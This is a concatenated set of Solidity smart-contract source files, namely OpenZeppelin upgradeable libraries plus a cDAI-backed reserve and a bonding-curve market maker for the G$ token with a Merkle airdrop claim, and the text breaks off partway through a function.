* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "../utils/DAOUpgradeableContract.sol";
import "../utils/NameService.sol";
import "../DAOStackInterfaces.sol";
import "../Interfaces.sol";
import "./GoodMarketMaker.sol";
interface ContributionCalc {
function calculateContribution(
GoodMarketMaker _marketMaker,
GoodReserveCDai _reserve,
address _contributer,
ERC20 _token,
uint256 _gdAmount
) external view returns (uint256);
function setContributionRatio(uint256 _nom, uint256 _denom) external;
}
/**
@title Reserve based on cDAI and dynamic reserve ratio market maker
*/
contract GoodReserveCDai is
DAOUpgradeableContract,
ERC20PresetMinterPauserUpgradeable,
GlobalConstraintInterface
{
bytes32 public constant RESERVE_MINTER_ROLE =
keccak256("RESERVE_MINTER_ROLE");
/// @dev G$ minting cap;
uint256 public cap;
// The last block number which
// `mintUBI` has been executed in
uint256 public lastMinted;
address public daiAddress;
address public cDaiAddress;
/// @dev merkleroot for GDX airdrop
bytes32 public gdxAirdrop;
/// @dev mark if user claimed his GDX
mapping(address => bool) public isClaimedGDX;
// Emits when new GD tokens minted
event UBIMinted(
//epoch of UBI
uint256 indexed day,
//the token paid as interest
address indexed interestToken,
//wei amount of interest paid in interestToken
uint256 interestReceived,
// Amount of GD tokens that was
// added to the supply as a result
// of `mintInterest`
uint256 gdInterestMinted,
// Amount of GD tokens that was
// added to the supply as a result
// of `mintExpansion`
uint256 gdExpansionMinted,
// Amount of GD tokens that was
// minted to the `ubiCollector`
uint256 gdUbiTransferred
);
// Emits when GD tokens are purchased
event TokenPurchased(
// The initiate of the action
address indexed caller,
// The convertible token address
// which the GD tokens were
// purchased with
address indexed inputToken,
// Reserve tokens amount
uint256 inputAmount,
// Actual return after the
// conversion
uint256 actualReturn,
// Address of the receiver of tokens
address indexed receiverAddress
);
// Emits when GD tokens are sold
event TokenSold(
// The initiate of the action
address indexed caller,
// The convertible token address
// which the GD tokens were
// sold to
address indexed outputToken,
// GD tokens amount
uint256 gdAmount,
// The amount of GD tokens that
// was contributed during the
// conversion
uint256 contributionAmount,
// Actual return after the
// conversion
uint256 actualReturn,
// Address of the receiver of tokens
address indexed receiverAddress
);
function initialize(INameService _ns, bytes32 _gdxAirdrop)
public
virtual
initializer
{
__ERC20PresetMinterPauser_init("GDX", "G$X");
setDAO(_ns);
//fixed cdai/dai
setAddresses();
//gdx roles
renounceRole(MINTER_ROLE, _msgSender());
renounceRole(PAUSER_ROLE, _msgSender());
renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(DEFAULT_ADMIN_ROLE, address(avatar));
//mint access through reserve
_setupRole(RESERVE_MINTER_ROLE, address(avatar)); //only Avatar can manage minters
cap = 22 * 1e14; //22 trillion G$ cents
gdxAirdrop = _gdxAirdrop;
}
function setGDXAirdrop(bytes32 _airdrop) external {
_onlyAvatar();
gdxAirdrop = _airdrop;
}
/// @dev GDX decimals
function decimals() public pure override returns (uint8) {
return 2;
}
function setAddresses() public {
daiAddress = nameService.getAddress("DAI");
cDaiAddress = nameService.getAddress("CDAI");
// Approve transfer to cDAI contract
ERC20(daiAddress).approve(cDaiAddress, type(uint256).max);
}
/**
* @dev get current MarketMaker from name service
* The address of the market maker contract
* which makes the calculations and holds
* the token and accounts info (should be owned by the reserve)
*/
function getMarketMaker() public view returns (GoodMarketMaker) {
return GoodMarketMaker(nameService.getAddress("MARKET_MAKER"));
}
/**
* @dev Converts cDai tokens to GD tokens and updates the bonding curve params.
* `buy` occurs only if the GD return is above the given minimum. It is possible
* to buy only with cDAI and when the contract is set to active. MUST call to
* cDAI `approve` prior this action to allow this contract to accomplish the
* conversion.
* @param _tokenAmount The amount of cDAI tokens that should be converted to GD tokens
* @param _minReturn The minimum allowed return in GD tokens
* @param _targetAddress address of g$ and gdx recipient if different than msg.sender
* @return (gdReturn) How much GD tokens were transferred
*/
function buy(
uint256 _tokenAmount,
uint256 _minReturn,
address _targetAddress
) external returns (uint256) {
ERC20 buyWith = ERC20(cDaiAddress);
uint256 gdReturn = getMarketMaker().buy(buyWith, _tokenAmount);
_targetAddress = _targetAddress == address(0x0)
? msg.sender
: _targetAddress;
address exchangeHelper = nameService.getAddress("EXCHANGE_HELPER");
if (msg.sender != exchangeHelper)
require(
buyWith.transferFrom(msg.sender, address(this), _tokenAmount) == true,
"transferFrom failed, make sure you approved input token transfer"
);
require(gdReturn >= _minReturn, "GD return must be above the minReturn");
_mintGoodDollars(_targetAddress, gdReturn, true);
//mint GDX
_mintGDX(_targetAddress, gdReturn);
emit TokenPurchased(
msg.sender != exchangeHelper ? msg.sender : tx.origin,
cDaiAddress,
_tokenAmount,
gdReturn,
_targetAddress
);
return gdReturn;
}
/**
* @dev Mint rewards for staking contracts in G$ and update RR
* requires minting permissions which is enforced by _mintGoodDollars
* @param _to Receipent address for rewards
* @param _amount G$ amount to mint for rewards
*/
function mintRewardFromRR(
address _token,
address _to,
uint256 _amount
) public {
getMarketMaker().mintFromReserveRatio(ERC20(_token), _amount);
_mintGoodDollars(_to, _amount, false);
//mint GDX
_mintGDX(_to, _amount);
}
/**
* @dev sell helper function burns GD tokens and update the bonding curve params.
* `sell` occurs only if the token return is above the given minimum. Notice that
* there is a contribution amount from the given GD that remains in the reserve.
* @param _gdAmount The amount of GD tokens that should be converted to cDAI tokens
* @param _minReturn The minimum allowed `sellTo` tokens return
* @param _target address of the receiver of cDAI when sell G$
* @param _seller address of the seller when using helper contract
* @return (tokenReturn, contribution) (cDAI received, G$ exit contribution)
*/
function sell(
uint256 _gdAmount,
uint256 _minReturn,
address _target,
address _seller
) external returns (uint256, uint256) {
GoodMarketMaker mm = getMarketMaker();
if (msg.sender != nameService.getAddress("EXCHANGE_HELPER")) {
IGoodDollar(nameService.getAddress("GOODDOLLAR")).burnFrom(
msg.sender,
_gdAmount
);
_seller = msg.sender;
}
_target = _target == address(0x0) ? msg.sender : _target;
//discount on exit contribution based on gdx
uint256 gdx = balanceOf(_seller);
uint256 discount = gdx <= _gdAmount ? gdx : _gdAmount;
//burn gdx used for discount
if (discount > 0) _burn(_seller, discount);
uint256 contributionAmount = 0;
uint256 gdAmountTemp = _gdAmount; // to prevent stack too deep errors
if (discount < gdAmountTemp)
contributionAmount = ContributionCalc(
nameService.getAddress("CONTRIBUTION_CALCULATION")
).calculateContribution(
mm,
this,
_seller,
ERC20(cDaiAddress),
gdAmountTemp - discount
);
uint256 tokenReturn = mm.sellWithContribution(
ERC20(cDaiAddress),
gdAmountTemp,
contributionAmount
);
require(
tokenReturn >= _minReturn,
"Token return must be above the minReturn"
);
cERC20(cDaiAddress).transfer(_target, tokenReturn);
emit TokenSold(
_seller,
cDaiAddress,
_gdAmount,
contributionAmount,
tokenReturn,
_target
);
return (tokenReturn, contributionAmount);
}
function currentPrice() public view returns (uint256) {
return getMarketMaker().currentPrice(ERC20(cDaiAddress));
}
function currentPriceDAI() public view returns (uint256) {
cERC20 cDai = cERC20(cDaiAddress);
return (((currentPrice() * 1e10) * cDai.exchangeRateStored()) / 1e28); // based on https://compound.finance/docs#protocol-math
}
/**
* @dev helper to mint G$s
* @param _to the recipient of newly minted G$s
* @param _gdToMint how much G$ to mint
* @param _internalCall skip minting role validation for internal calls, used when "buying G$" to "allow" buyer to mint G$ in exchange for his cDAI
*/
function _mintGoodDollars(
address _to,
uint256 _gdToMint,
bool _internalCall
) internal {
//enforce minting rules
require(
_internalCall ||
_msgSender() == nameService.getAddress("FUND_MANAGER") ||
hasRole(RESERVE_MINTER_ROLE, _msgSender()),
"GoodReserve: not a minter"
);
require(
IGoodDollar(nameService.getAddress("GOODDOLLAR")).totalSupply() +
_gdToMint <=
cap,
"GoodReserve: cap enforced"
);
IGoodDollar(nameService.getAddress("GOODDOLLAR")).mint(_to, _gdToMint);
}
/// @dev helper to mint GDX to make _mint more verbose
function _mintGDX(address _to, uint256 _gdx) internal {
_mint(_to, _gdx);
}
/**
* @dev only FundManager or other with mint G$ permission can call this to trigger minting.
* Reserve sends UBI + interest to FundManager.
* @param _daiToConvert DAI amount to convert cDAI
* @param _startingCDAIBalance Initial cDAI balance before staking collect process start
* @param _interestToken The token that was transfered to the reserve
* @return gdUBI,interestInCdai how much GD UBI was minted and how much cDAI collected from staking contracts
*/
function mintUBI(
uint256 _daiToConvert,
uint256 _startingCDAIBalance,
ERC20 _interestToken
) public returns (uint256, uint256) {
cERC20(cDaiAddress).mint(_daiToConvert);
uint256 interestInCdai = _interestToken.balanceOf(address(this)) -
_startingCDAIBalance;
uint256 gdInterestToMint = getMarketMaker().mintInterest(
_interestToken,
interestInCdai
);
uint256 gdExpansionToMint = getMarketMaker().mintExpansion(_interestToken);
uint256 gdUBI = gdInterestToMint + gdExpansionToMint;
//this enforces who can call the public mintUBI method. only an address with permissions at reserve of RESERVE_MINTER_ROLE
_mintGoodDollars(nameService.getAddress("FUND_MANAGER"), gdUBI, false);
lastMinted = block.number;
emit UBIMinted(
lastMinted,
address(_interestToken),
interestInCdai,
gdInterestToMint,
gdExpansionToMint,
gdUBI
);
return (gdUBI, interestInCdai);
}
/**
* @dev Allows the DAO to change the daily expansion rate
* it is calculated by _nom/_denom with e27 precision. Emits
* `ReserveRatioUpdated` event after the ratio has changed.
* Only Avatar can call this method.
* @param _nom The numerator to calculate the global `reserveRatioDailyExpansion` from
* @param _denom The denominator to calculate the global `reserveRatioDailyExpansion` from
*/
function setReserveRatioDailyExpansion(uint256 _nom, uint256 _denom) public {
_onlyAvatar();
getMarketMaker().setReserveRatioDailyExpansion(_nom, _denom);
}
/**
* @dev Remove minting rights after it has transferred the cDAI funds to `_avatar`
* Only the Avatar can execute this method
*/
function end() public {
_onlyAvatar();
// remaining cDAI tokens in the current reserve contract
if (ERC20(cDaiAddress).balanceOf(address(this)) > 0) {
require(
ERC20(cDaiAddress).transfer(
address(avatar),
ERC20(cDaiAddress).balanceOf(address(this))
),
"recover transfer failed"
);
}
//restore minting to avatar, so he can re-delegate it
IGoodDollar gd = IGoodDollar(nameService.getAddress("GOODDOLLAR"));
if (gd.isMinter(address(avatar)) == false) gd.addMinter(address(avatar));
IGoodDollar(nameService.getAddress("GOODDOLLAR")).renounceMinter();
}
/**
* @dev method to recover any stuck erc20 tokens (ie compound COMP)
* @param _token the ERC20 token to recover
*/
function recover(ERC20 _token) public {
_onlyAvatar();
require(
_token.transfer(address(avatar), _token.balanceOf(address(this))),
"recover transfer failed"
);
}
/**
* @notice prove user balance in a specific blockchain state hash
* @dev "rootState" is a special state that can be supplied once, and actually mints reputation on the current blockchain
* @param _user the user to prove his balance
* @param _gdx the balance we are prooving
* @param _proof array of byte32 with proof data (currently merkle tree path)
* @return true if proof is valid
*/
function claimGDX(
address _user,
uint256 _gdx,
bytes32[] memory _proof
) public returns (bool) {
require(isClaimedGDX[_user] == false, "already claimed gdx");
bytes32 leafHash = keccak256(abi.encode(_user, _gdx));
bool isProofValid = MerkleProofUpgradeable.verify(
_proof,
gdxAirdrop,
leafHash
);
require(isProofValid, "invalid merkle proof");
_mintGDX(_user, _gdx);
isClaimedGDX[_user] = true;
return true;
}
// implement minting constraints through the GlobalConstraintInterface interface. prevent any minting not through reserve
function pre(
address _scheme,
bytes32 _hash,
bytes32 _method
) public pure override returns (bool) {
_scheme;
_hash;
_method;
if (_method == "mintTokens") return false;
return true;
}
function when() public pure override returns (CallPhase) {
return CallPhase.Pre;
}
}
// SPDX-License-Identifier: MIT
/// math.sol -- mixin for inline numerical wizardry
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity >=0.8.0;
contract DSMath {
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = (x * y) / 10**27;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = (x * (10**27)) / y;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "./DAOContract.sol";
/**
@title Simple contract that adds upgradability to DAOContract
*/
contract DAOUpgradeableContract is Initializable, UUPSUpgradeable, DAOContract {
function _authorizeUpgrade(address) internal virtual override {
_onlyAvatar();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../extensions/ERC20BurnableUpgradeable.sol";
import "../extensions/ERC20PausableUpgradeable.sol";
import "../../../access/AccessControlEnumerableUpgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable {
function initialize(string memory name, string memory symbol) public virtual initializer {
__ERC20PresetMinterPauser_init(name, symbol);
}
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PresetMinterPauser_init_unchained(name, symbol);
}
function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../utils/DSMath.sol";
import "../utils/BancorFormula.sol";
import "../DAOStackInterfaces.sol";
import "../Interfaces.sol";
import "../utils/DAOUpgradeableContract.sol";
/**
@title Dynamic reserve ratio market maker
*/
contract GoodMarketMaker is DAOUpgradeableContract, DSMath {
// Entity that holds a reserve token
struct ReserveToken {
// Determines the reserve token balance
// that the reserve contract holds
uint256 reserveSupply;
// Determines the current ratio between
// the reserve token and the GD token
uint32 reserveRatio;
// How many GD tokens have been minted
// against that reserve token
uint256 gdSupply;
// Last time reserve ratio was expanded
uint256 lastExpansion;
}
// The map which holds the reserve token entities
mapping(address => ReserveToken) public reserveTokens;
// Emits when a change has occurred in a
// reserve balance, i.e. buy / sell will
// change the balance
event BalancesUpdated(
// The account who initiated the action
address indexed caller,
// The address of the reserve token
address indexed reserveToken,
// The incoming amount
uint256 amount,
// The return value
uint256 returnAmount,
// The updated total supply
uint256 totalSupply,
// The updated reserve balance
uint256 reserveBalance
);
// Emits when the ratio changed. The caller should be the Avatar by definition
event ReserveRatioUpdated(address indexed caller, uint256 nom, uint256 denom);
// Defines the daily change in the reserve ratio in RAY precision.
// In the current release, only global ratio expansion is supported.
// That will be a part of each reserve token entity in the future.
uint256 public reserveRatioDailyExpansion;
//goodDollar token decimals
uint256 decimals;
/**
* @dev Constructor
* @param _nom The numerator to calculate the global `reserveRatioDailyExpansion` from
* @param _denom The denominator to calculate the global `reserveRatioDailyExpansion` from
*/
function initialize(
INameService _ns,
uint256 _nom,
uint256 _denom
) public virtual initializer {
reserveRatioDailyExpansion = (_nom * 1e27) / _denom;
decimals = 2;
setDAO(_ns);
}
function _onlyActiveToken(ERC20 _token) internal view {
ReserveToken storage rtoken = reserveTokens[address(_token)];
require(rtoken.gdSupply > 0, "Reserve token not initialized");
}
function _onlyReserveOrAvatar() internal view {
require(
nameService.getAddress("RESERVE") == msg.sender ||
nameService.getAddress("AVATAR") == msg.sender,
"GoodMarketMaker: not Reserve or Avatar"
);
}
function getBancor() public view returns (BancorFormula) {
return BancorFormula(nameService.getAddress("BANCOR_FORMULA"));
}
/**
* @dev Allows the DAO to change the daily expansion rate
* it is calculated by _nom/_denom with e27 precision. Emits
* `ReserveRatioUpdated` event after the ratio has changed.
* Only Avatar can call this method.
* @param _nom The numerator to calculate the global `reserveRatioDailyExpansion` from
* @param _denom The denominator to calculate the global `reserveRatioDailyExpansion` from
*/
function setReserveRatioDailyExpansion(uint256 _nom, uint256 _denom) public {
_onlyReserveOrAvatar();
require(_denom > 0, "denominator must be above 0");
reserveRatioDailyExpansion = (_nom * 1e27) / _denom;
require(reserveRatioDailyExpansion < 1e27, "Invalid nom or denom value");
emit ReserveRatioUpdated(msg.sender, _nom, _denom);
}
// NOTICE: In the current release, if there is a wish to add another reserve token,
// `end` method in the reserve contract should be called first. Then, the DAO have
// to deploy a new reserve contract that will own the market maker. A scheme for
// updating the new reserve must be deployed too.
/**
* @dev Initialize a reserve token entity with the given parameters
* @param _token The reserve token
* @param _gdSupply Initial supply of GD to set the price
* @param _tokenSupply Initial supply of reserve token to set the price
* @param _reserveRatio The starting reserve ratio
* @param _lastExpansion Last time reserve ratio was expanded
*/
function initializeToken(
ERC20 _token,
uint256 _gdSupply,
uint256 _tokenSupply,
uint32 _reserveRatio,
uint256 _lastExpansion
) public {
_onlyReserveOrAvatar();
reserveTokens[address(_token)] = ReserveToken({
gdSupply: _gdSupply,
reserveSupply: _tokenSupply,
reserveRatio: _reserveRatio,
lastExpansion: _lastExpansion == 0 ? block.timestamp : _lastExpansion
});
}
/**
* @dev Calculates how much to decrease the reserve ratio for _token by
* the `reserveRatioDailyExpansion`
* @param _token The reserve token to calculate the reserve ratio for
* @return The new reserve ratio
*/
function calculateNewReserveRatio(ERC20 _token) public view returns (uint32) {
ReserveToken memory reserveToken = reserveTokens[address(_token)];
uint256 ratio = uint256(reserveToken.reserveRatio);
if (ratio == 0) {
ratio = 1e6;
}
ratio *= 1e21; //expand to e27 precision
uint256 daysPassed = (block.timestamp - reserveToken.lastExpansion) /
1 days;
for (uint256 i = 0; i < daysPassed; i++) {
ratio = (ratio * reserveRatioDailyExpansion) / 1e27;
}
return uint32(ratio / 1e21); // return to e6 precision
}
/**
* @dev Decreases the reserve ratio for _token by the `reserveRatioDailyExpansion`
* @param _token The token to change the reserve ratio for
* @return The new reserve ratio
*/
function expandReserveRatio(ERC20 _token) public returns (uint32) {
_onlyReserveOrAvatar();
_onlyActiveToken(_token);
ReserveToken storage reserveToken = reserveTokens[address(_token)];
uint32 ratio = reserveToken.reserveRatio;
if (ratio == 0) {
ratio = 1e6;
}
reserveToken.reserveRatio = calculateNewReserveRatio(_token);
//set last expansion to begining of expansion day
reserveToken.lastExpansion =
block.timestamp -
((block.timestamp - reserveToken.lastExpansion) % 1 days);
return reserveToken.reserveRatio;
}
/**
* @dev Calculates the buy return in GD according to the given _tokenAmount
* @param _token The reserve token buying with
* @param _tokenAmount The amount of reserve token buying with
* @return Number of GD that should be given in exchange as calculated by the bonding curve
*/
function buyReturn(ERC20 _token, uint256 _tokenAmount)
public
view
returns (uint256)
{
ReserveToken memory rtoken = reserveTokens[address(_token)];
return
getBancor().calculatePurchaseReturn(
rtoken.gdSupply,
